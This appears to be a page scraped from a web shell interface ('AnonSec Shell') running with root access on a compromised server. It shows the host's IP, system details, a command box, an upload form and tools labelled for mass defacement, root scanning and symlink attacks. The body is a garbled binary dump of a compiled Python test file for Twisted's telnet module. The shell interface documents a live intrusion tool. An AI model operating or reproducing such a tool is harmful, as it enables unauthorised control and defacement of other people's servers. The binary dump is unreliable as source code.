AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/conch/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/conch/test/__pycache__/test_telnet.cpython-310.pyc
o

�b�h�@s�dZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZeej�Gd	d
�d
��ZGdd�dej�ZGd
d�dej�ZGdd�dej�ZGdd�dej�ZdS)z$
Tests for L{twisted.conch.telnet}.
�)�implementer)�verifyObject)�telnet)�defer)�	iterbytes)�
proto_helpers)�unittestc@steZdZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�TestProtocol�cCs.d|_g|_g|_g|_g|_g|_g|_dS)N�)�data�subcmd�calls�enabledLocal�
enabledRemote�
disabledLocal�disabledRemote��selfr
r
�@/usr/lib/python3/dist-packages/twisted/conch/test/test_telnet.py�__init__s
zTestProtocol.__init__csLi}|_�j|d<|j��}|_dD]}|f�fdd�	|tt|�<qdS)N�)
�EOR�NOP�DM�BRK�IP�AO�AYT�EC�EL�GAcs�j�|�S�N)r�append)�arg�cmdrr
r�<lambda>)sz-TestProtocol.makeConnection.<locals>.<lambda>)�negotiationMap�neg_TEST_COMMAND�
commandMap�copy�getattrr)r�	transport�dr%r
rr�makeConnection#s

�zTestProtocol.makeConnectioncCs|j|7_dSr")r�rrr
r
r�dataReceived+szTestProtocol.dataReceivedcC�dSr"r
)r�reasonr
r
r�connectionLost.szTestProtocol.connectionLostcCs
||_dSr")r
)r�payloadr
r
rr(1s
zTestProtocol.neg_TEST_COMMANDcC�||jvr
|j�|�dSdS�NTF)�localEnableablerr#�r�optionr
r
r�enableLocal4�
zTestProtocol.enableLocalcC�|j�|�dSr")rr#r8r
r
r�disableLocal:�zTestProtocol.disableLocalcCr5r6)�remoteEnableablerr#r8r
r
r�enableRemote=r;zTestProtocol.enableRemotecCr<r")rr#r8r
r
r�
disableRemoteCr>zTestProtocol.disableRemotecCr1r"r
rr
r
r�connectionMadeF�zTestProtocol.connectionMadecCr1r"r
)r�command�argumentr
r
r�unhandledCommandJrCzTestProtocol.unhandledCommandcCr1r"r
�rrDrr
r
r�unhandledSubnegotiationNrCz$TestProtocol.unhandledSubnegotiationN)�__name__�
__module__�__qualname__r7r?rr.r0r3r(r:r=r@rArBrFrHr
r
r
rr	s
r	c@seZdZdd�ZdS)�InterfacesTestscCst��}ttj|�dS)zO
        L{telnet.TelnetProtocol} implements L{telnet.ITelnetProtocol}
        N)r�TelnetProtocolr�ITelnetProtocol)r�pr
r
r�test_interfaceTszInterfacesTests.test_interfaceN)rIrJrKrPr
r
r
rrLSsrLc@sBeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zggggfd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Zd:d;�Z d<d=�Z!d>d?�Z"d@dA�Z#dBdC�Z$dDdE�Z%dFdG�Z&dHdI�Z'dJdK�Z(dLS)M�TelnetTransportTestsz.
    Tests for L{telnet.TelnetTransport}.
    cCs(t�t�|_t��|_|j�|j�dSr")r�TelnetTransportr	rOr�StringTransport�tr.rr
r
r�setUpas
zTelnetTransportTests.setUpcCs>|jj}gd�}|D]}|j�|�q
|�|jd�|��dS)N)shere are some bytes la la lassome more arrive hereslots of bytes to play withsla la lasta de dasdumr)rO�protocolr0�assertEqualr�join�r�h�L�br
r
r�testRegularBytesfs
z%TelnetTransportTests.testRegularBytescCs�|jj}gd�}|D]}|j�|�q
|�|j|ddd�d|ddd�d|ddd�d|ddd�d�dS)	N)shere is the first line
shere is the second line
shere is the third line
shere is the last line
r����
��
��)rOrVr0rWrrYr
r
r�testNewlineHandlingys,��������z(TelnetTransportTests.testNewlineHandlingcCsF|jj}gd�}|D]}|j�|�q
|�|jd�|��dd��dS)N)s*here are some bytes�� with an embedded IACs&and here is a test of a border escape�s� did you get that IAC?rs����)rOrVr0rWrrX�replacerYr
r
r�
testIACEscape�s
 z"TelnetTransportTests.testIACEscapecCsn|jj}tjtt|�}dd|dg}|D]}|j�|�q|�|j|g�|�|jd�	|��
|d��dS)NsHere's some bytes, tra la lasBut ono!s
 an interruptr)rOrVr�IACr+r0rWrrrXrf)r�cmdNamerZr%r[r\r
r
r�_simpleCommandTest�s z'TelnetTransportTests._simpleCommandTestcC�|�d�dS)Nr�rjrr
r
r�
testInterrupt��z"TelnetTransportTests.testInterruptcCrk)Nrrlrr
r
r�testEndOfRecord�rnz$TelnetTransportTests.testEndOfRecordcCrk)Nrrlrr
r
r�testNoOperation�rnz$TelnetTransportTests.testNoOperationcCrk)Nrrlrr
r
r�testDataMark�rnz!TelnetTransportTests.testDataMarkcCrk)Nrrlrr
r
r�	testBreak�rnzTelnetTransportTests.testBreakcCrk)Nrrlrr
r
r�testAbortOutput�rnz$TelnetTransportTests.testAbortOutputcCrk)Nrrlrr
r
r�testAreYouThere�rnz$TelnetTransportTests.testAreYouTherecCrk)Nrrlrr
r
r�testEraseCharacter�rnz'TelnetTransportTests.testEraseCharactercCrk)Nr rlrr
r
r�
testEraseLine�rnz"TelnetTransportTests.testEraseLinecCrk)Nr!rlrr
r
r�testGoAhead�rnz TelnetTransportTests.testGoAheadcCs||jj}tjtjdtjtj}d|dg}|D]}|j�|�q|�|jd�	|��
|d��|�|jtt
d���dS)Nshello worldsThese are some bytes but soonsthere will be some morershello world)rOrVrrh�SB�SEr0rWrrXrfr
�listr�rrZr%r[r\r
r
r�testSubnegotiation�sz'TelnetTransportTests.testSubnegotiationcCs�|jj}tjtjdtjtjtj}d|ddg}|D]}|j�|�q|�|jd�	|��
|d��|�|jtjg�dS)NrsSome bytes are heresand herer)rOrVrrhrxryr0rWrrXrfr
r{r
r
r� testSubnegotiationWithEmbeddedSE�s"z5TelnetTransportTests.testSubnegotiationWithEmbeddedSEcCs�tjtjdtjdtjtj}tt|��D]L}t�}|j_|�	|j�|d|�||d�}}d||dg}|D]}|j�
|�q?|�|jd�
|��|d��|�|jtjgttd���qdS)Nrshellos
first parts	last partr)rrhrxry�range�lenr	rOrVr.r0rWrrXrfr
rzr)rr%�irZ�ar\r[rr
r
r�testBoundarySubnegotiation�s0�������
 �z/TelnetTransportTests.testBoundarySubnegotiationcCs<|�|j|�|�|j|�|�|j|�|�|j|�dSr")rWrrrr)r�o�eL�eR�dL�dRr
r
r�_enabledHelper
sz#TelnetTransportTests._enabledHelpercC�rtjtjd}d|d}|j�|�|�|jjj|�|d��|�|j	�
�tjtjd�|�|jj�dS�Nrssurrounding bytessto spice things upr)
rrh�WILLrOr0rWrVrrfrT�value�DONTr��rr%rr
r
r�testRefuseWill�z#TelnetTransportTests.testRefuseWillcCr�r�)
rrh�DOrOr0rWrVrrfrTr��WONTr�r�r
r
r�testRefuseDor�z!TelnetTransportTests.testRefuseDocC�htjtjd}d|d}|jj}d|_|j�|�|�|j�	�tjtj
d�|j|dgd�dS)N��paddingstrailer)r�)r�)rrhr�rOrVr7r0rWrTr�r�r��rr%rrZr
r
r�testAcceptDo&sz!TelnetTransportTests.testAcceptDocCr�)N��sheaderr�)r��r�)rrhr�rOrVr?r0rWrTr�r�r�r�r
r
r�testAcceptWill3sz#TelnetTransportTests.testAcceptWillcC�tjtjd}|j�d�}d|j_d|}|j�|�|�|jj	j
|�|d��|�|j�
�tjtjd�|�|jjd�|j|jj	dgd�dS)N�)�yess
fiddle deer�no�r�)rrhr�rO�getOptionState�him�stater0rWrVrrfrTr�r�r��rr%�srr
r
r�testAcceptWont?�z#TelnetTransportTests.testAcceptWontcCr�)Nr�r�sfiddle dum rr�)r�)rrhr�rOr��usr�r0rWrVrrfrTr�r�r�r�r
r
r�testAcceptDontSr�z#TelnetTransportTests.testAcceptDontcC�ftjtjd}d|d}|j�|�|�|jjj|�|d��|�|j	�
�d�|�|jj�dS�N�G�
dum de dum�	tra la lar)rrhr�rOr0rWrVrrfrTr�r�r�r
r
r�testIgnoreWontgsz#TelnetTransportTests.testIgnoreWontcCr�r�)rrhr�rOr0rWrVrrfrTr�r�r�r
r
r�testIgnoreDontssz#TelnetTransportTests.testIgnoreDontcC�ztjtjd}|j�d�}d|j_d|d}|j�|�|�|jj	j
|�|d��|�|j�
�d�|�|jj	�dS�N�Vr�r�r�r)rrhr�rOr�r�r�r0rWrVrrfrTr�r�r�r
r
r�testIgnoreWill��z#TelnetTransportTests.testIgnoreWillcCr�r�)rrhr�rOr�r�r�r0rWrVrrfrTr�r�r�r
r
r�testIgnoreDo�r�z!TelnetTransportTests.testIgnoreDocsv�j�d�}�jj�d�_���j��tjtj	d��j�
tjtjd�|��jd�|���fdd��|S)N�B�r�Tcs�j�dgd�S)Nr�r�)r���_�rZrr
rr&�sz@TelnetTransportTests.testAcceptedEnableRequest.<locals>.<lambda>)
rO�dorVr?rWrTr�rrhr�r0r��addCallback�rr-r
r�r�testAcceptedEnableRequest�sz.TelnetTransportTests.testAcceptedEnableRequestc��d�jj_�j�d�}���j��tjtj	d��j�
d�����jjd����j
jd����jj����j
j��j�tjtjd���|tj�}|��fdd��|���fdd��|S)z�
        If the peer refuses to enable an option we request it to enable, the
        L{Deferred} returned by L{TelnetProtocol.do} fires with an
        L{OptionRefused} L{Failure}.
        r�r�r�c����jj�Sr"�r�rOrV��ignoredrr
rr&��z@TelnetTransportTests.test_refusedEnableRequest.<locals>.<lambda>c����jj�Sr")�assertFalser��negotiatingr��r�rr
rr&�r�)rOrVr?r�rWrTr�rrhr�r�r�r�r��
assertTruer�r�r0r��
assertFailure�
OptionRefusedr�r�r
r�r�test_refusedEnableRequest��

z.TelnetTransportTests.test_refusedEnableRequestcr�)z�
        If the peer refuses to allow us to enable an option, the L{Deferred}
        returned by L{TelnetProtocol.will} fires with an L{OptionRefused}
        L{Failure}.
        r�r�r�cr�r"r�r�rr
rr&�r�z>TelnetTransportTests.test_refusedEnableOffer.<locals>.<lambda>cr�r")r�r�r�r�r�r
rr&�r�)rOrVr7�willrWrTr�rrhr�r�r�r�r�r�r�r�r0r�r�r�r�r�r
r�r�test_refusedEnableOffer�r�z,TelnetTransportTests.test_refusedEnableOffercsz�j�d�}d|j_�j�d�}���j��tj	tj
d��j�tj	tjd�|�
�jd�|�
�fdd��|S)Nr�r�Tcs�j�jjdgd�S)Nr�r�r�r�rr
rr&�szATelnetTransportTests.testAcceptedDisableRequest.<locals>.<lambda>)rOr�r�r��dontrWrTr�rrhr�r0r�r��rr�r-r
rr�testAcceptedDisableRequest�sz/TelnetTransportTests.testAcceptedDisableRequestcsd�j�d�}d|j_�j�d��fdd�}�fdd�}�fdd�}|d�}|�|�|�|�|S)	N�$r�c��j�d�}��|tj�S�Nr�)rOr�r�r�AlreadyNegotiating��xr-rr
r�_do
�zITelnetTransportTests.testNegotiationBlocksFurtherNegotiation.<locals>._docr�r�)rOr�r�rr�r�rr
r�_dontr�zKTelnetTransportTests.testNegotiationBlocksFurtherNegotiation.<locals>._dontcs~�j�tjtjd��j�jjdgd�d�jj_�j�d�}�j�tjtj	d�|�
�jd�|�
�fdd��|S)Nr�r�)r�Tcs�j�jjdgdgd�S)Nr�)r�r�r�r�rr
rr&s�z^TelnetTransportTests.testNegotiationBlocksFurtherNegotiation.<locals>._final.<locals>.<lambda>)rOr0rrhr�r�rVr?r�r�r�rWr�rr
r�_finals

�zLTelnetTransportTests.testNegotiationBlocksFurtherNegotiation.<locals>._final)rOr�r�r�r�r�)rr�r�r�r�r-r
rr�'testNegotiationBlocksFurtherNegotiations

z<TelnetTransportTests.testNegotiationBlocksFurtherNegotiationcCs|j�d�}|�|tj�S)N��)rOr�r�r�AlreadyDisabledr�r
r
r�#testSuperfluousDisableRequestRaises'sz8TelnetTransportTests.testSuperfluousDisableRequestRaisescCs.|j�d�}d|j_|j�d�}|�|tj�S)Nr�r�)rOr�r�r�r�r�r�AlreadyEnabledr�r
r
r�"testSuperfluousEnableRequestRaises,sz7TelnetTransportTests.testSuperfluousEnableRequestRaisescCsx|j�d�}|j�d�}|j�d�}Gdd�dt�}|j�|d��|�||�}|�||�}|�||�}t�|||g�S)Nr�#�4c@seZdZdS)zLTelnetTransportTests.testLostConnectionFailsDeferreds.<locals>.TestExceptionN)rIrJrKr
r
r
r�
TestException8sr�zTotal failure!)rOr��	Exceptionr3r�r�
gatherResults)r�d1�d2�d3r�r
r
r� testLostConnectionFailsDeferreds3sz5TelnetTransportTests.testLostConnectionFailsDeferredsN))rIrJrK�__doc__rUr]rdrgrjrmrorprqrrrsrtrurvrwr|r}r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r
r
r
rrQ\sN

%rQc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�
TestTelnetzP
    A trivial extension of the telnet protocol class useful to unit tests.
    cCstj�|�g|_dSr")r�Telnetr�eventsrr
r
rrHs
zTestTelnet.__init__cCs|j�d|f�dS)z:
        Record the given data in C{self.events}.
        �bytesN�r�r#r/r
r
r�applicationDataReceivedLsz"TestTelnet.applicationDataReceivedcC�|j�d||f�dS)z=
        Record the given command in C{self.events}.
        rDNr�rGr
r
rrFR�zTestTelnet.unhandledCommandcCr�)zL
        Record the given subnegotiation command in C{self.events}.
        �	negotiateNr�rGr
r
rrHXr�z"TestTelnet.unhandledSubnegotiationN)rIrJrKr�rr�rFrHr
r
r
rr�Csr�c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"S)#�TelnetTestsz�
    Tests for L{telnet.Telnet}.

    L{telnet.Telnet} implements the TELNET protocol (RFC 854), including option
    and suboption negotiation, and option state tracking.
    cCst�|_dS)zM
        Create an unconnected L{telnet.Telnet} to be used by tests.
        N)r�rVrr
r
rrUgszTelnetTests.setUpcC�|�|j�d��dS)z�
        L{telnet.Telnet.enableLocal} should reject all options, since
        L{telnet.Telnet} does not know how to implement any options.
        �N)r�rVr:rr
r
r�test_enableLocalm�zTelnetTests.test_enableLocalcCr�)z�
        L{telnet.Telnet.enableRemote} should reject all options, since
        L{telnet.Telnet} does not know how to implement any options.
        r�N)r�rVr@rr
r
r�test_enableRemotetr�zTelnetTests.test_enableRemotecC�|�t|jjd�dS)a	
        It is an error for L{telnet.Telnet.disableLocal} to be called, since
        L{telnet.Telnet.enableLocal} will never allow any options to be enabled
        locally.  If a subclass overrides enableLocal, it must also override
        disableLocal.
        r�N)�assertRaises�NotImplementedErrorrVr=rr
r
r�test_disableLocal{�zTelnetTests.test_disableLocalcCr�)a
        It is an error for L{telnet.Telnet.disableRemote} to be called, since
        L{telnet.Telnet.enableRemote} will never allow any options to be
        enabled remotely.  If a subclass overrides enableRemote, it must also
        override disableRemote.
        r�N)r�r�rVrArr
r
r�test_disableRemote�rzTelnetTests.test_disableRemotecC�6t��}|j�|�|j�dd�|�|��d�dS)z�
        L{telnet.Telnet.requestNegotiation} formats the feature byte and the
        payload bytes into the subnegotiation format and sends them.

        See RFC 855.
        �ss����N�rrSrVr.�requestNegotiationrWr��rr,r
r
r�test_requestNegotiation�s�z#TelnetTests.test_requestNegotiationcCr)z�
        If the payload for a subnegotiation includes I{IAC}, it is escaped by
        L{telnet.Telnet.requestNegotiation} with another I{IAC}.

        See RFC 855.
        rres������Nrrr
r
r�!test_requestNegotiationEscapesIAC�sz-TelnetTests.test_requestNegotiationEscapesIACcGs,g}|j_|j�|�|�|t|��dS)z
        Pass the given bytes to the protocol's C{dataReceived} method and
        assert that the given events occur.
        N)rVr�r0rWrz)rr�expected�receivedr
r
r�_deliver�szTelnetTests._delivercC�|�dd�dS)zc
        One application-data byte in the default state gets delivered right
        away.
        �a)r�rN�rrr
r
r�test_oneApplicationDataByte��z'TelnetTests.test_oneApplicationDataBytecCr
)za
        Two application-data bytes in the default state get delivered
        together.
        �bc)r�rNrrr
r
r�test_twoApplicationDataBytes�rz(TelnetTests.test_twoApplicationDataBytescCs|�dtjd�dS)z~
        Three application-data bytes followed by a control byte get
        delivered, but the control byte doesn't.
        �def)r�rN�rrrhrr
r
r�test_threeApplicationDataBytes�r�z*TelnetTests.test_threeApplicationDataBytescCs,|�tj�|�tjddtjdf�dS)zy
        IAC in the escaped state gets delivered and so does another
        application-data byte following it.
        �gr�Nrrr
r
r�test_escapedControl�s zTelnetTests.test_escapedControlcCs�|�d�|�dd�|�dd�|�d�|�dd�|�dd�|�d�|�dd	�|�d
d	�|�d�|�tjtjdddtjdf�d
S)a�
        A carriage return only puts the protocol into the newline state.  A
        linefeed in the newline state causes just the newline to be
        delivered.  A nul in the newline state causes a carriage return to
        be delivered.  An IAC in the newline state causes a carriage return
        to be delivered and puts the protocol into the escaped state.
        Anything else causes a carriage return and that thing to be
        delivered.
        rar_)r�r_s
r�)r�ras
r)r��
ar�xr�Nrrr
r
r�test_carriageReturn�s




�zTelnetTests.test_carriageReturncCs&|�dtjtjddtjdf�dS)zt
        Application bytes received before a command are delivered before the
        command is processed.
        r)r�rrDN)rrrhrrr
r
r�'test_applicationDataBeforeSimpleCommand�s

�z3TelnetTests.test_applicationDataBeforeSimpleCommandcCs2i|j_|�dtjtjdddtjdf�dS)z~
        Application bytes received before a WILL/WONT/DO/DONT are delivered
        before the command is processed.
        �yr�)r�rrDN)rVr)rrrhr�rr
r
r�!test_applicationDataBeforeCommand�s
�z-TelnetTests.test_applicationDataBeforeCommandcCs6|�dtjtjdtjtjddddgf�dS)z�
        Application bytes received before a subnegotiation command are
        delivered before the negotiation is processed.
        �zsQx)r�rr��QrN)rrrhrxryrr
r
r�(test_applicationDataBeforeSubnegotiations

�z4TelnetTests.test_applicationDataBeforeSubnegotiationN)rIrJrKr�rUr�r�rrrr	rrrrrrrrr!r
r
r
rr�_s$			r�N)r��zope.interfacer�zope.interface.verifyr�
twisted.conchr�twisted.internetr�twisted.python.compatr�twisted.testr�
twisted.trialrrNr	�TestCaserLrQr�r�r�r
r
r
r�<module>s">	j

Anon7 - 2022
AnonSec Team